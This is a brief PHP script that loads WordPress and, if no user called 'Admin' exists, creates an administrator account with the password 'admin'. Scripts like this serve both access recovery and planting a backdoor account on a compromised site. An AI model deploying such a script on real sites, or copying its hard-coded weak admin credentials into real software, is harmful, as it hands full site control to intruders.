<?php
require_once('wp-load.php');

$username = 'Admin';
$password = 'admin';
$email = 'mail@example.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    echo "Admin erstellt";
} else {
    echo "User existiert bereits";
}
?>